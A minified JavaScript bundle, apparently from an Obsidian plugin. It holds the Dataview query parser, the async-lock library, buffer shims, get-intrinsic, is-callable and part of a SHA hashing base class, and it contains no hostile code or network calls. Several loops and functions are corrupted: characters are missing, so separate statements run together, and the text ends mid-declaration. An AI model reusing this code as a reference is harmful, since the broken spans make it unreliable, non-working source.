gE(()=>({type:e,fields:[],showId:!0}),F.seqMap(F.regexp(/WITHOUT\s+ID/i).skip(F.optWhitespace).atMost(1),F.sepBy(t.namedField,F.string(",").trim(F.optWhitespace)),(n,r)=>({type:e,fields:r,showId:n.length==0})));case"list":return gE(()=>({type:e,format:void 0,showId:!0}),F.seqMap(F.regexp(/WITHOUT\s+ID/i).skip(F.optWhitespace).atMost(1),Wr.field.atMost(1),(n,r)=>({type:e,format:r.length==1?r[0]:void 0,showId:n.length==0})));case"task":return F.succeed({type:e});case"calendar":return F.whitespace.then(F.seqMap(t.namedField,n=>({type:e,showId:!0,field:n})));default:return F.fail(`Unrecognized query type '${e}'`)}}).desc("TABLE or LIST or TASK or CALENDAR"),fromClause:t=>F.seqMap(F.regexp(/FROM/i),F.whitespace,Wr.source,(e,n,r)=>r),whereClause:t=>F.seqMap(F.regexp(/WHERE/i),F.whitespace,Wr.field,(e,n,r)=>({type:"where",clause:r})).desc("WHERE "),sortByClause:t=>F.seqMap(F.regexp(/SORT/i),F.whitespace,t.sortField.sepBy1(F.string(",").trim(F.optWhitespace)),(e,n,r)=>({type:"sort",fields:r})).desc("SORT field [ASC/DESC]"),limitClause:t=>F.seqMap(F.regexp(/LIMIT/i),F.whitespace,Wr.field,(e,n,r)=>({type:"limit",amount:r})).desc("LIMIT "),flattenClause:t=>F.seqMap(F.regexp(/FLATTEN/i).skip(F.whitespace),t.namedField,(e,n)=>({type:"flatten",field:n})).desc("FLATTEN [AS ]"),groupByClause:t=>F.seqMap(F.regexp(/GROUP BY/i).skip(F.whitespace),t.namedField,(e,n)=>({type:"group",field:n})).desc("GROUP BY [AS ]"),clause:t=>F.alt(t.fromClause,t.whereClause,t.sortByClause,t.limitClause,t.groupByClause,t.flattenClause),query:t=>F.seqMap(t.headerClause.trim(qw),t.fromClause.trim(qw).atMost(1),t.clause.trim(qw).many(),(e,n,r)=>({header:e,source:n.length==0?ki.folder(""):n[0],operations:r,settings:g0}))}),qw=F.alt(F.whitespace,g_.comment).many().map(t=>t.join("")),I4=t=>t?t.plugins.plugins.dataview?.api:window.DataviewAPI,A4=t=>t.plugins.enabledPlugins.has("dataview");xi.DATE_SHORTHANDS=l0;xi.DURATION_TYPES=a0;xi.EXPRESSION=Wr;xi.KEYWORDS=c0;xi.QUERY_LANGUAGE=g_;xi.getAPI=I4;xi.isPluginEnabled=A4;xi.parseField=C4});var ZC=W((ehe,KC)=>{"use strict";m();var sr=function(t){if(t=t||{},this.Promise=t.Promise||Promise,this.queues=Object.create(null),this.domainReentrant=t.domainReentrant||!1,this.domainReentrant){if(typeof process>"u"||typeof process.domain>"u")throw new Error("Domain-reentrant locks require `process.domain` to exist. Please flip `opts.domainReentrant = false`, use a NodeJS version that still implements Domain, or install a browser polyfill.");this.domains=Object.create(null)}this.timeout=t.timeout||sr.DEFAULT_TIMEOUT,this.maxOccupationTime=t.maxOccupationTime||sr.DEFAULT_MAX_OCCUPATION_TIME,this.maxExecutionTime=t.maxExecutionTime||sr.DEFAULT_MAX_EXECUTION_TIME,t.maxPending===1/0||Number.isInteger(t.maxPending)&&t.maxPending>=0?this.maxPending=t.maxPending:this.maxPending=sr.DEFAULT_MAX_PENDING};sr.DEFAULT_TIMEOUT=0;sr.DEFAULT_MAX_OCCUPATION_TIME=0;sr.DEFAULT_MAX_EXECUTION_TIME=0;sr.DEFAULT_MAX_PENDING=1e3;sr.prototype.acquire=function(t,e,n,r){if(Array.isArray(t))return this._acquireBatch(t,e,n,r);if(typeof e!="function")throw new Error("You must pass a function to execute");var i=null,s=null,o=null;typeof n!="function"&&(r=n,n=null,o=new this.Promise(function(b,S){i=b,s=S})),r=r||{};var a=!1,l=null,c=null,u=null,f=this,h=function(b,S,D){c&&(clearTimeout(c),c=null),u&&(clearTimeout(u),u=null),b&&(f.queues[t]&&f.queues[t].length===0&&delete f.queues[t],f.domainReentrant&&delete f.domains[t]),a||(o?S?s(S):i(D):typeof n=="function"&&n(S,D),a=!0),b&&f.queues[t]&&f.queues[t].length>0&&f.queues[t].shift()()},d=function(b){if(a)return h(b);l&&(clearTimeout(l),l=null),f.domainReentrant&&b&&(f.domains[t]=process.domain);var S=r.maxExecutionTime||f.maxExecutionTime;if(S&&(u=setTimeout(function(){f.queues[t]&&h(b,new Error("Maximum execution time is exceeded "+t))},S)),e.length===1){var D=!1;try{e(function(k,E){D||(D=!0,h(b,k,E))})}catch(k){D||(D=!0,h(b,k))}}else f._promiseTry(function(){return e()}).then(function(k){h(b,void 0,k)},function(k){h(b,k)})};f.domainReentrant&&process.domain&&(d=process.domain.bind(d));var p=r.maxPending||f.maxPending;if(!f.queues[t])f.queues[t]=[],d(!0);else if(f.domainReentrant&&process.domain&&process.domain===f.domains[t])d(!1);else if(f.queues[t].length>=p)h(!1,new Error("Too many pending tasks in queue "+t));else{var g=function(){d(!0)};r.skipQueue?f.queues[t].unshift(g):f.queues[t].push(g);var y=r.timeout||f.timeout;y&&(l=setTimeout(function(){l=null,h(!1,new Error("async-lock timed out in queue "+t))},y))}var w=r.maxOccupationTime||f.maxOccupationTime;if(w&&(c=setTimeout(function(){f.queues[t]&&h(!1,new Error("Maximum occupation time is exceeded in queue "+t))},w)),o)return o};sr.prototype._acquireBatch=function(t,e,n,r){typeof n!="function"&&(r=n,n=null);var i=this,s=function(a,l){return function(c){i.acquire(a,l,c,r)}},o=t.reduceRight(function(a,l){return s(l,a)},e);if(typeof n=="function")o(n);else return new this.Promise(function(a,l){o.length===1?o(function(c,u){c?l(c):a(u)}):a(o())})};sr.prototype.isBusy=function(t){return t?!!this.queues[t]:Object.keys(this.queues).length>0};sr.prototype._promiseTry=function(t){try{return this.Promise.resolve(t())}catch(e){return this.Promise.reject(e)}};KC.exports=sr});var JC=W((nhe,YC)=>{"use strict";m();YC.exports=ZC()});var XC=W((ihe,pb)=>{m();typeof Object.create=="function"?pb.exports=function(e,n){n&&(e.super_=n,e.prototype=Object.create(n.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}))}:pb.exports=function(e,n){if(n){e.super_=n;var r=function(){};r.prototype=n.prototype,e.prototype=new r,e.prototype.constructor=e}}});var yb=W((gb,tT)=>{m();var $m=md(),Si=$m.Buffer;function eT(t,e){for(var n in t)e[n]=t[n]}Si.from&&Si.alloc&&Si.allocUnsafe&&Si.allocUnsafeSlow?tT.exports=$m:(eT($m,gb),gb.Buffer=aa);function aa(t,e,n){return Si(t,e,n)}aa.prototype=Object.create(Si.prototype);eT(Si,aa);aa.from=function(t,e,n){if(typeof t=="number")throw new TypeError("Argument must not be a number");return Si(t,e,n)};aa.alloc=function(t,e,n){if(typeof t!="number")throw new TypeError("Argument must be a number");var r=Si(t);return e!==void 0?typeof n=="string"?r.fill(e,n):r.fill(e):r.fill(0),r};aa.allocUnsafe=function(t){if(typeof t!="number")throw new TypeError("Argument must be a number");return Si(t)};aa.allocUnsafeSlow=function(t){if(typeof t!="number")throw new TypeError("Argument must be a number");return $m.SlowBuffer(t)}});var iT=W((wb,rT)=>{m();var Um=md(),Di=Um.Buffer;function nT(t,e){for(var n in t)e[n]=t[n]}Di.from&&Di.alloc&&Di.allocUnsafe&&Di.allocUnsafeSlow?rT.exports=Um:(nT(Um,wb),wb.Buffer=la);function la(t,e,n){return Di(t,e,n)}la.prototype=Object.create(Di.prototype);nT(Di,la);la.from=function(t,e,n){if(typeof t=="number")throw new TypeError("Argument must not be a number");return Di(t,e,n)};la.alloc=function(t,e,n){if(typeof t!="number")throw new TypeError("Argument must be a number");var r=Di(t);return e!==void 0?typeof n=="string"?r.fill(e,n):r.fill(e):r.fill(0),r};la.allocUnsafe=function(t){if(typeof t!="number")throw new TypeError("Argument must be a number");return Di(t)};la.allocUnsafeSlow=function(t){if(typeof t!="number")throw new TypeError("Argument must be a number");return Um.SlowBuffer(t)}});var oT=W((lhe,sT)=>{m();var mq={}.toString;sT.exports=Array.isArray||function(t){return mq.call(t)=="[object Array]"}});var jl=W((uhe,aT)=>{"use strict";m();aT.exports=TypeError});var bb=W((hhe,lT)=>{"use strict";m();lT.exports=Object});var uT=W((mhe,cT)=>{"use strict";m();cT.exports=Error});var hT=W((ghe,fT)=>{"use strict";m();fT.exports=EvalError});var mT=W((whe,dT)=>{"use strict";m();dT.exports=RangeError});var gT=W((vhe,pT)=>{"use strict";m();pT.exports=ReferenceError});var vb=W((xhe,yT)=>{"use strict";m();yT.exports=SyntaxError});var bT=W((Dhe,wT)=>{"use strict";m();wT.exports=URIError});var kT=W((_he,vT)=>{"use strict";m();vT.exports=Math.abs});var ST=W((The,xT)=>{"use strict";m();xT.exports=Math.floor});var ET=W((Ihe,DT)=>{"use strict";m();DT.exports=Math.max});var CT=W((Ohe,_T)=>{"use strict";m();_T.exports=Math.min});var FT=W((Nhe,TT)=>{"use strict";m();TT.exports=Math.pow});var AT=W((Rhe,IT)=>{"use strict";m();IT.exports=Math.round});var PT=W((Lhe,OT)=>{"use strict";m();OT.exports=Number.isNaN||function(e){return e!==e}});var MT=W(($he,NT)=>{"use strict";m();var pq=PT();NT.exports=function(e){return pq(e)||e===0?e:e<0?-1:1}});var zT=W((jhe,RT)=>{"use strict";m();RT.exports=Object.getOwnPropertyDescriptor});var ql=W((Vhe,LT)=>{"use strict";m();var jm=zT();if(jm)try{jm([],"length")}catch{jm=null}LT.exports=jm});var gf=W((Whe,BT)=>{"use strict";m();var qm=Object.defineProperty||!1;if(qm)try{qm({},"a",{value:1})}catch{qm=!1}BT.exports=qm});var kb=W((Qhe,$T)=>{"use strict";m();$T.exports=function(){if(typeof Symbol!="function"||typeof Object.getOwnPropertySymbols!="function")return!1;if(typeof Symbol.iterator=="symbol")return!0;var e={},n=Symbol("test"),r=Object(n);if(typeof n=="string"||Object.prototype.toString.call(n)!=="[object Symbol]"||Object.prototype.toString.call(r)!=="[object Symbol]")return!1;var i=42;e[n]=i;for(var s in e)return!1;if(typeof Object.keys=="function"&&Object.keys(e).length!==0||typeof Object.getOwnPropertyNames=="function"&&Object.getOwnPropertyNames(e).length!==0)return!1;var o=Object.getOwnPropertySymbols(e);if(o.length!==1||o[0]!==n||!Object.prototype.propertyIsEnumerable.call(e,n))return!1;if(typeof Object.getOwnPropertyDescriptor=="function"){var a=Object.getOwnPropertyDescriptor(e,n);if(a.value!==i||a.enumerable!==!0)return!1}return!0}});var qT=W((Zhe,jT)=>{"use strict";m();var UT=typeof Symbol<"u"&&Symbol,gq=kb();jT.exports=function(){return typeof UT!="function"||typeof Symbol!="function"||typeof UT("foo")!="symbol"||typeof Symbol("bar")!="symbol"?!1:gq()}});var xb=W((Jhe,VT)=>{"use strict";m();VT.exports=typeof Reflect<"u"&&Reflect.getPrototypeOf||null});var Sb=W((ede,HT)=>{"use strict";m();var yq=bb();HT.exports=yq.getPrototypeOf||null});var QT=W((nde,GT)=>{"use strict";m();var wq="Function.prototype.bind called on incompatible ",bq=Object.prototype.toString,vq=Math.max,kq="[object Function]",WT=function(e,n){for(var r=[],i=0;i{"use strict";m();var Dq=QT();KT.exports=Function.prototype.bind||Dq});var Vm=W((ode,ZT)=>{"use strict";m();ZT.exports=Function.prototype.call});var Hm=W((lde,YT)=>{"use strict";m();YT.exports=Function.prototype.apply});var XT=W((ude,JT)=>{"use strict";m();JT.exports=typeof Reflect<"u"&&Reflect&&Reflect.apply});var Db=W((hde,eF)=>{"use strict";m();var Eq=Vl(),_q=Hm(),Cq=Vm(),Tq=XT();eF.exports=Tq||Eq.call(Cq,_q)});var Wm=W((mde,tF)=>{"use strict";m();var Fq=Vl(),Iq=jl(),Aq=Vm(),Oq=Db();tF.exports=function(e){if(e.length<1||typeof e[0]!="function")throw new Iq("a function is required");return Oq(Fq,Aq,e)}});var aF=W((gde,oF)=>{"use strict";m();var Pq=Wm(),nF=ql(),iF;try{iF=[].__proto__===Array.prototype}catch(t){if(!t||typeof t!="object"||!("code"in t)||t.code!=="ERR_PROTO_ACCESS")throw t}var Eb=!!iF&&nF&&nF(Object.prototype,"__proto__"),sF=Object,rF=sF.getPrototypeOf;oF.exports=Eb&&typeof Eb.get=="function"?Pq([Eb.get]):typeof rF=="function"?function(e){return rF(e==null?e:sF(e))}:!1});var _b=W((wde,fF)=>{"use strict";m();var lF=xb(),cF=Sb(),uF=aF();fF.exports=lF?function(e){return lF(e)}:cF?function(e){if(!e||typeof e!="object"&&typeof e!="function")throw new TypeError("getProto: not an object");return cF(e)}:uF?function(e){return uF(e)}:null});var dF=W((vde,hF)=>{"use strict";m();var Nq=Function.prototype.call,Mq=Object.prototype.hasOwnProperty,Rq=Vl();hF.exports=Rq.call(Nq,Mq)});var Fb=W((xde,bF)=>{"use strict";m();var ze,zq=bb(),Lq=uT(),Bq=hT(),$q=mT(),Uq=gT(),Ql=vb(),Gl=jl(),jq=bT(),qq=kT(),Vq=ST(),Hq=ET(),Wq=CT(),Gq=FT(),Qq=AT(),Kq=MT(),yF=Function,Cb=function(t){try{return yF('"use strict"; return ('+t+").constructor;")()}catch{}},yf=ql(),Zq=gf(),Tb=function(){throw new Gl},Yq=yf?function(){try{return arguments.callee,Tb}catch{try{return yf(arguments,"callee").get}catch{return Tb}}}():Tb,Hl=qT()(),Qt=_b(),Jq=Sb(),Xq=xb(),wF=Hm(),wf=Vm(),Wl={},eV=typeof Uint8Array>"u"||!Qt?ze:Qt(Uint8Array),ca={__proto__:null,"%AggregateError%":typeof AggregateError>"u"?ze:AggregateError,"%Array%":Array,"%ArrayBuffer%":typeof ArrayBuffer>"u"?ze:ArrayBuffer,"%ArrayIteratorPrototype%":Hl&&Qt?Qt([][Symbol.iterator]()):ze,"%AsyncFromSyncIteratorPrototype%":ze,"%AsyncFunction%":Wl,"%AsyncGenerator%":Wl,"%AsyncGeneratorFunction%":Wl,"%AsyncIteratorPrototype%":Wl,"%Atomics%":typeof Atomics>"u"?ze:Atomics,"%BigInt%":typeof BigInt>"u"?ze:BigInt,"%BigInt64Array%":typeof BigInt64Array>"u"?ze:BigInt64Array,"%BigUint64Array%":typeof BigUint64Array>"u"?ze:BigUint64Array,"%Boolean%":Boolean,"%DataView%":typeof DataView>"u"?ze:DataView,"%Date%":Date,"%decodeURI%":decodeURI,"%decodeURIComponent%":decodeURIComponent,"%encodeURI%":encodeURI,"%encodeURIComponent%":encodeURIComponent,"%Error%":Lq,"%eval%":eval,"%EvalError%":Bq,"%Float16Array%":typeof Float16Array>"u"?ze:Float16Array,"%Float32Array%":typeof Float32Array>"u"?ze:Float32Array,"%Float64Array%":typeof Float64Array>"u"?ze:Float64Array,"%FinalizationRegistry%":typeof FinalizationRegistry>"u"?ze:FinalizationRegistry,"%Function%":yF,"%GeneratorFunction%":Wl,"%Int8Array%":typeof Int8Array>"u"?ze:Int8Array,"%Int16Array%":typeof Int16Array>"u"?ze:Int16Array,"%Int32Array%":typeof Int32Array>"u"?ze:Int32Array,"%isFinite%":isFinite,"%isNaN%":isNaN,"%IteratorPrototype%":Hl&&Qt?Qt(Qt([][Symbol.iterator]())):ze,"%JSON%":typeof JSON=="object"?JSON:ze,"%Map%":typeof Map>"u"?ze:Map,"%MapIteratorPrototype%":typeof Map>"u"||!Hl||!Qt?ze:Qt(new Map()[Symbol.iterator]()),"%Math%":Math,"%Number%":Number,"%Object%":zq,"%Object.getOwnPropertyDescriptor%":yf,"%parseFloat%":parseFloat,"%parseInt%":parseInt,"%Promise%":typeof Promise>"u"?ze:Promise,"%Proxy%":typeof Proxy>"u"?ze:Proxy,"%RangeError%":$q,"%ReferenceError%":Uq,"%Reflect%":typeof Reflect>"u"?ze:Reflect,"%RegExp%":RegExp,"%Set%":typeof Set>"u"?ze:Set,"%SetIteratorPrototype%":typeof Set>"u"||!Hl||!Qt?ze:Qt(new Set()[Symbol.iterator]()),"%SharedArrayBuffer%":typeof SharedArrayBuffer>"u"?ze:SharedArrayBuffer,"%String%":String,"%StringIteratorPrototype%":Hl&&Qt?Qt(""[Symbol.iterator]()):ze,"%Symbol%":Hl?Symbol:ze,"%SyntaxError%":Ql,"%ThrowTypeError%":Yq,"%TypedArray%":eV,"%TypeError%":Gl,"%Uint8Array%":typeof Uint8Array>"u"?ze:Uint8Array,"%Uint8ClampedArray%":typeof Uint8ClampedArray>"u"?ze:Uint8ClampedArray,"%Uint16Array%":typeof Uint16Array>"u"?ze:Uint16Array,"%Uint32Array%":typeof Uint32Array>"u"?ze:Uint32Array,"%URIError%":jq,"%WeakMap%":typeof WeakMap>"u"?ze:WeakMap,"%WeakRef%":typeof WeakRef>"u"?ze:WeakRef,"%WeakSet%":typeof WeakSet>"u"?ze:WeakSet,"%Function.prototype.call%":wf,"%Function.prototype.apply%":wF,"%Object.defineProperty%":Zq,"%Object.getPrototypeOf%":Jq,"%Math.abs%":qq,"%Math.floor%":Vq,"%Math.max%":Hq,"%Math.min%":Wq,"%Math.pow%":Gq,"%Math.round%":Qq,"%Math.sign%":Kq,"%Reflect.getPrototypeOf%":Xq};if(Qt)try{null.error}catch(t){mF=Qt(Qt(t)),ca["%Error.prototype%"]=mF}var mF,tV=function t(e){var n;if(e==="%AsyncFunction%")n=Cb("async function () {}");else if(e==="%GeneratorFunction%")n=Cb("function* () {}");else if(e==="%AsyncGeneratorFunction%")n=Cb("async function* () {}");else if(e==="%AsyncGenerator%"){var r=t("%AsyncGeneratorFunction%");r&&(n=r.prototype)}else if(e==="%AsyncIteratorPrototype%"){var i=t("%AsyncGenerator%");i&&Qt&&(n=Qt(i.prototype))}return ca[e]=n,n},pF={__proto__:null,"%ArrayBufferPrototype%":["ArrayBuffer","prototype"],"%ArrayPrototype%":["Array","prototype"],"%ArrayProto_entries%":["Array","prototype","entries"],"%ArrayProto_forEach%":["Array","prototype","forEach"],"%ArrayProto_keys%":["Array","prototype","keys"],"%ArrayProto_values%":["Array","prototype","values"],"%AsyncFunctionPrototype%":["AsyncFunction","prototype"],"%AsyncGenerator%":["AsyncGeneratorFunction","prototype"],"%AsyncGeneratorPrototype%":["AsyncGeneratorFunction","prototype","prototype"],"%BooleanPrototype%":["Boolean","prototype"],"%DataViewPrototype%":["DataView","prototype"],"%DatePrototype%":["Date","prototype"],"%ErrorPrototype%":["Error","prototype"],"%EvalErrorPrototype%":["EvalError","prototype"],"%Float32ArrayPrototype%":["Float32Array","prototype"],"%Float64ArrayPrototype%":["Float64Array","prototype"],"%FunctionPrototype%":["Function","prototype"],"%Generator%":["GeneratorFunction","prototype"],"%GeneratorPrototype%":["GeneratorFunction","prototype","prototype"],"%Int8ArrayPrototype%":["Int8Array","prototype"],"%Int16ArrayPrototype%":["Int16Array","prototype"],"%Int32ArrayPrototype%":["Int32Array","prototype"],"%JSONParse%":["JSON","parse"],"%JSONStringify%":["JSON","stringify"],"%MapPrototype%":["Map","prototype"],"%NumberPrototype%":["Number","prototype"],"%ObjectPrototype%":["Object","prototype"],"%ObjProto_toString%":["Object","prototype","toString"],"%ObjProto_valueOf%":["Object","prototype","valueOf"],"%PromisePrototype%":["Promise","prototype"],"%PromiseProto_then%":["Promise","prototype","then"],"%Promise_all%":["Promise","all"],"%Promise_reject%":["Promise","reject"],"%Promise_resolve%":["Promise","resolve"],"%RangeErrorPrototype%":["RangeError","prototype"],"%ReferenceErrorPrototype%":["ReferenceError","prototype"],"%RegExpPrototype%":["RegExp","prototype"],"%SetPrototype%":["Set","prototype"],"%SharedArrayBufferPrototype%":["SharedArrayBuffer","prototype"],"%StringPrototype%":["String","prototype"],"%SymbolPrototype%":["Symbol","prototype"],"%SyntaxErrorPrototype%":["SyntaxError","prototype"],"%TypedArrayPrototype%":["TypedArray","prototype"],"%TypeErrorPrototype%":["TypeError","prototype"],"%Uint8ArrayPrototype%":["Uint8Array","prototype"],"%Uint8ClampedArrayPrototype%":["Uint8ClampedArray","prototype"],"%Uint16ArrayPrototype%":["Uint16Array","prototype"],"%Uint32ArrayPrototype%":["Uint32Array","prototype"],"%URIErrorPrototype%":["URIError","prototype"],"%WeakMapPrototype%":["WeakMap","prototype"],"%WeakSetPrototype%":["WeakSet","prototype"]},bf=Vl(),Gm=dF(),nV=bf.call(wf,Array.prototype.concat),rV=bf.call(wF,Array.prototype.splice),gF=bf.call(wf,String.prototype.replace),Qm=bf.call(wf,String.prototype.slice),iV=bf.call(wf,RegExp.prototype.exec),sV=/[^%.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|%$))/g,oV=/\\(\\)?/g,aV=function(e){var n=Qm(e,0,1),r=Qm(e,-1);if(n==="%"&&r!=="%")throw new Ql("invalid intrinsic syntax, expected closing `%`");if(r==="%"&&n!=="%")throw new Ql("invalid intrinsic syntax, expected opening `%`");var i=[];return gF(e,sV,function(s,o,a,l){i[i.length]=a?gF(l,oV,"$1"):o||s}),i},lV=function(e,n){var r=e,i;if(Gm(pF,r)&&(i=pF[r],r="%"+i[0]+"%"),Gm(ca,r)){var s=ca[r];if(s===Wl&&(s=tV(r)),typeof s>"u"&&!n)throw new Gl("intrinsic "+e+" exists, but is not available. Please file an issue!");return{alias:i,name:r,value:s}}throw new Ql("intrinsic "+e+" does not exist!")};bF.exports=function(e,n){if(typeof e!="string"||e.length===0)throw new Gl("intrinsic name must be a non-empty string");if(arguments.length>1&&typeof n!="boolean")throw new Gl('"allowMissing" argument must be a boolean');if(iV(/^%?[^%]*%?$/,e)===null)throw new Ql("`%` may not be present anywhere but at the beginning and end of the intrinsic name");var r=aV(e),i=r.length>0?r[0]:"",s=lV("%"+i+"%",n),o=s.name,a=s.value,l=!1,c=s.alias;c&&(i=c[0],rV(r,nV([0,1],c)));for(var u=1,f=!0;u=r.length){var g=yf(a,h);f=!!g,f&&"get"in g&&!("originalValue"in g.get)?a=g.get:a=a[h]}else f=Gm(a,h),a=a[h];f&&!l&&(ca[o]=a)}}return a}});var Ib=W((Dde,xF)=>{"use strict";m();var vF=Fb(),kF=Wm(),cV=kF([vF("%String.prototype.indexOf%")]);xF.exports=function(e,n){var r=vF(e,!!n);return typeof r=="function"&&cV(e,".prototype.")>-1?kF([r]):r}});var _F=W((_de,EF)=>{"use strict";m();var DF=Function.prototype.toString,Kl=typeof Reflect=="object"&&Reflect!==null&&Reflect.apply,Ob,Km;if(typeof Kl=="function"&&typeof Object.defineProperty=="function")try{Ob=Object.defineProperty({},"length",{get:function(){throw Km}}),Km={},Kl(function(){throw 42},null,Ob)}catch(t){t!==Km&&(Kl=null)}else Kl=null;var uV=/^\s*class\b/,Pb=function(e){try{var n=DF.call(e);return uV.test(n)}catch{return!1}},Ab=function(e){try{return Pb(e)?!1:(DF.call(e),!0)}catch{return!1}},Zm=Object.prototype.toString,fV="[object Object]",hV="[object Function]",dV="[object GeneratorFunction]",mV="[object HTMLAllCollection]",pV="[object HTML document.all class]",gV="[object HTMLCollection]",yV=typeof Symbol=="function"&&!!Symbol.toStringTag,wV=!(0 in[,]),Nb=function(){return!1};typeof document=="object"&&(SF=document.all,Zm.call(SF)===Zm.call(document.all)&&(Nb=function(e){if((wV||!e)&&(typeof e>"u"||typeof e=="object"))try{var n=Zm.call(e);return(n===mV||n===pV||n===gV||n===fV)&&e("")==null}catch{}return!1}));var SF;EF.exports=Kl?function(e){if(Nb(e))return!0;if(!e||typeof e!="function"&&typeof e!="object")return!1;try{Kl(e,null,Ob)}catch(n){if(n!==Km)return!1}return!Pb(e)&&Ab(e)}:function(e){if(Nb(e))return!0;if(!e||typeof e!="function"&&typeof e!="object")return!1;if(yV)return Ab(e);if(Pb(e))return!1;var n=Zm.call(e);return n!==hV&&n!==dV&&!/^\[object HTML/.test(n)?!1:Ab(e)}});var FF=W((Tde,TF)=>{"use strict";m();var bV=_F(),vV=Object.prototype.toString,CF=Object.prototype.hasOwnProperty,kV=function(e,n,r){for(var i=0,s=e.length;i=3&&(i=r),DV(e)?kV(e,n,i):typeof e=="string"?xV(e,n,i):SV(e,n,i)}});var AF=W((Ide,IF)=>{"use strict";m();IF.exports=["Float16Array","Float32Array","Float64Array","Int8Array","Int16Array","Int32Array","Uint8Array","Uint8ClampedArray","Uint16Array","Uint32Array","BigInt64Array","BigUint64Array"]});var PF=W((Ode,OF)=>{"use strict";m();var Mb=AF(),EV=globalThis;OF.exports=function(){for(var e=[],n=0;n{"use strict";m();var NF=gf(),_V=vb(),Zl=jl(),MF=ql();RF.exports=function(e,n,r){if(!e||typeof e!="object"&&typeof e!="function")throw new Zl("`obj` must be an object or a function`");if(typeof n!="string"&&typeof n!="symbol")throw new Zl("`property` must be a string or a symbol`");if(arguments.length>3&&typeof arguments[3]!="boolean"&&arguments[3]!==null)throw new Zl("`nonEnumerable`, if provided, must be a boolean or null");if(arguments.length>4&&typeof arguments[4]!="boolean"&&arguments[4]!==null)throw new Zl("`nonWritable`, if provided, must be a boolean or null");if(arguments.length>5&&typeof arguments[5]!="boolean"&&arguments[5]!==null)throw new Zl("`nonConfigurable`, if provided, must be a boolean or null");if(arguments.length>6&&typeof arguments[6]!="boolean")throw new Zl("`loose`, if provided, must be a boolean");var i=arguments.length>3?arguments[3]:null,s=arguments.length>4?arguments[4]:null,o=arguments.length>5?arguments[5]:null,a=arguments.length>6?arguments[6]:!1,l=!!MF&&MF(e,n);if(NF)NF(e,n,{configurable:o===null&&l?l.configurable:!o,enumerable:i===null&&l?l.enumerable:!i,value:r,writable:s===null&&l?l.writable:!s});else if(a||!i&&!s&&!o)e[n]=r;else throw new _V("This environment does not support defining a property as non-configurable, non-writable, or non-enumerable.")}});var $F=W((Rde,BF)=>{"use strict";m();var Rb=gf(),LF=function(){return!!Rb};LF.hasArrayLengthDefineBug=function(){if(!Rb)return null;try{return Rb([],"length",{value:1}).length!==1}catch{return!0}};BF.exports=LF});var HF=W((Lde,VF)=>{"use strict";m();var CV=Fb(),UF=zF(),TV=$F()(),jF=ql(),qF=jl(),FV=CV("%Math.floor%");VF.exports=function(e,n){if(typeof e!="function")throw new qF("`fn` is not a function");if(typeof n!="number"||n<0||n>4294967295||FV(n)!==n)throw new qF("`length` must be a positive 32-bit integer");var r=arguments.length>2&&!!arguments[2],i=!0,s=!0;if("length"in e&&jF){var o=jF(e,"length");o&&!o.configurable&&(i=!1),o&&!o.writable&&(s=!1)}return(i||s||!r)&&(TV?UF(e,"length",n,!0,!0):UF(e,"length",n)),e}});var GF=W(($de,WF)=>{"use strict";m();var IV=Vl(),AV=Hm(),OV=Db();WF.exports=function(){return OV(IV,AV,arguments)}});var ZF=W((jde,Ym)=>{"use strict";m();var PV=HF(),QF=gf(),NV=Wm(),KF=GF();Ym.exports=function(e){var n=NV(arguments),r=1+e.length-(arguments.length-1);return PV(n,r>0?r:0,!0)};QF?QF(Ym.exports,"apply",{value:KF}):Ym.exports.apply=KF});var JF=W((Vde,YF)=>{"use strict";m();var MV=kb();YF.exports=function(){return MV()&&!!Symbol.toStringTag}});var rI=W((Wde,nI)=>{"use strict";m();var ep=FF(),RV=PF(),XF=ZF(),Lb=Ib(),Xm=ql(),Jm=_b(),zV=Lb("Object.prototype.toString"),tI=JF()(),eI=globalThis,zb=RV(),Bb=Lb("String.prototype.slice"),LV=Lb("Array.prototype.indexOf",!0)||function(e,n){for(var r=0;r-1?n:n!=="Object"?!1:$V(e)}return Xm?BV(e):null}});var sI=W((Qde,iI)=>{"use strict";m();var UV=rI();iI.exports=function(e){return!!UV(e)}});var aI=W((Zde,oI)=>{"use strict";m();var jV=jl(),qV=Ib(),VV=qV("TypedArray.prototype.buffer",!0),HV=sI();oI.exports=VV||function(e){if(!HV(e))throw new jV("Not a Typed Array");return e.buffer}});var uI=W((Jde,cI)=>{"use strict";m();var ti=iT().Buffer,WV=oT(),GV=aI(),QV=ArrayBuffer.isView||function(e){try{return GV(e),!0}catch{return!1}},KV=typeof Uint8Array<"u",lI=typeof ArrayBuffer<"u"&&typeof Uint8Array<"u",ZV=lI&&(ti.prototype instanceof Uint8Array||ti.TYPED_ARRAY_SUPPORT);cI.exports=function(e,n){if(ti.isBuffer(e))return e.constructor&&!("isBuffer"in e)?ti.from(e):e;if(typeof e=="string")return ti.from(e,n);if(lI&&QV(e)){if(e.byteLength===0)return ti.alloc(0);if(ZV){var r=ti.from(e.buffer,e.byteOffset,e.byteLength);if(r.byteLength===e.byteLength)return r}var i=e instanceof Uint8Array?e:new Uint8Array(e.buffer,e.byteOffset,e.byteLength),s=ti.from(i);if(s.length===e.byteLength)return s}if(KV&&e instanceof Uint8Array)return ti.from(e);var o=WV(e);if(o)for(var a=0;a255||~~l!==l)throw new RangeError("Array items must be numbers in the range 0-255.")}if(o||ti.isBuffer(e)&&e.constructor&&typeof e.constructor.isBuffer=="function"&&e.constructor.isBuffer(e))return ti.from(e);throw new TypeError('The "data" argument must be a string, an Array, a Buffer, a Uint8Array, or a DataView.')}});var hI=W((eme,fI)=>{"use strict";m();var YV=yb().Buffer,JV=uI();function np(t,e){this._block=YV.alloc(t),this._finalSize=e,this._blockSize=t,this._len=0}np.prototype.update=function(t,e){t=JV(t,e||"utf8");for(var n=this._block,r=this._blockSize,i=t.length,s=this._len,o=0;o=this._finalSize&&(this._update(this._block),this._block.fill(0));var n=this._len*8;if(n<=4294967295)this._block.writeUInt32BE(n,this._blockSize-4);else{var r=(n&4294967295)>>>0,i=(n-r)/4294967296;this._block.writeUInt32BE(i,this._blockSize-8),this._block.writeUInt32BE(r,this._blockSize-4)}this._update(this._block);var s=this._hash();return t?s.toString(t):s};np.prototype._update=function(){throw new Error("_update must be implemented by subclass")};fI.exports=np});var pI=W((nme,mI)=>{"use strict";m();var XV=XC(),dI=hI(),e5=yb().Buffer,t5=[1518500249,1859775393,-1894007588,-899497514],n5=new Array(80);function 